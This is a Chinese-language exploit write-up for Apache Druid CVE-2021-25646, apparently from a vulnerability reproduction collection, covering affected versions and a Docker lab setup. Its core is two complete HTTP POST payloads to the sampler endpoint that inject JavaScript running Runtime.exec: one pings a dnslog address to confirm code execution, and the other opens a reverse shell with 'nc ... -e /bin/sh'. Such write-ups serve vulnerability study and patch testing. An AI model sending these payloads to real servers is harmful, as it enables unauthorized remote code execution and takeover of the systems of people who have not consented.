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98 lines
4.7 KiB
Markdown
98 lines
4.7 KiB
Markdown
# Apache Druid 远程代码执行漏洞 CVE-2021-25646
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## 漏洞描述
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Apache Druid 是用Java编写的面向列的开源分布式数据存储，旨在快速获取大量事件数据，并在数据之上提供低延迟查询。
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Apache Druid 默认情况下缺乏授权认证，攻击者可以发送特制请求，利用Druid服务器上进程的特权执行任意代码。
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Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中，默认已被禁用。但是，在Druid 0.20.0及更低版本中，经过身份验证的用户发送恶意请求，利用Apache Druid漏洞可以执行任意代码。
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参考链接：
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* https://github.com/apache/druid/issues/2434
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* https://forum.ywhack.com/thread-115083-1-1.html
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* https://druid.apache.org/docs/latest/operations/api-reference.html#broker
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* https://lists.apache.org/thread.html/r20e0c3b10ae2c05a3aad40f1476713c45bdefc32c920b9986b941d8f@%3Cannounce.apache.org%3E
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* https://www.o2oxy.cn/3090.html
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## 漏洞影响
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```
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Apache Druid < 0.20.1
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```
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## 环境搭建
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这里使用Docker来搭建环境
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Docker下载链接: https://github.com/apache/druid/archive/druid-0.20.0.zip
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下载之后进入目录 **distribution\docker**
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执行命令编译 **docker-compose up -d**
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访问 http://xxx.xxx.xxx.xxx:8888 正常就行了
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## 漏洞复现
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漏洞原理: https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw
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POC请求包
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```json
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POST /druid/indexer/v1/sampler HTTP/1.1
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Host: xxx.xxx.xxx.xxx:8888
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
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Accept: application/json, text/plain, */*
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Content-Type: application/json
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Content-Length: 995
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Connection: close
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{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping xxxxx.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
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```
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- 注意请求中这个位置改为你的dnslog平台地址
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- java.lang.Runtime.getRuntime().exec('ping -c 4 xxxxx.dnslog.cn')
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发送请求即可命令执行
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- 可能大部分都是docker搭建，而里面大部分命令是不存在的，但是发现docker里面居然默认是有 NC 命令的，那我们就可以用nc反弹一个shell了
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反弹shell请求包
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```json
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POST /druid/indexer/v1/sampler HTTP/1.1
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Host: xxx.xxx.xxx.xxx:8888
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
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Accept: application/json, text/plain, */*
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Content-Type: application/json
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Content-Length: 1008
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Connection: close
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{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec(' nc xxx.xxx.xxx.xxx 9999 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
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```
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发送请求包就可以得到一个交互式shell
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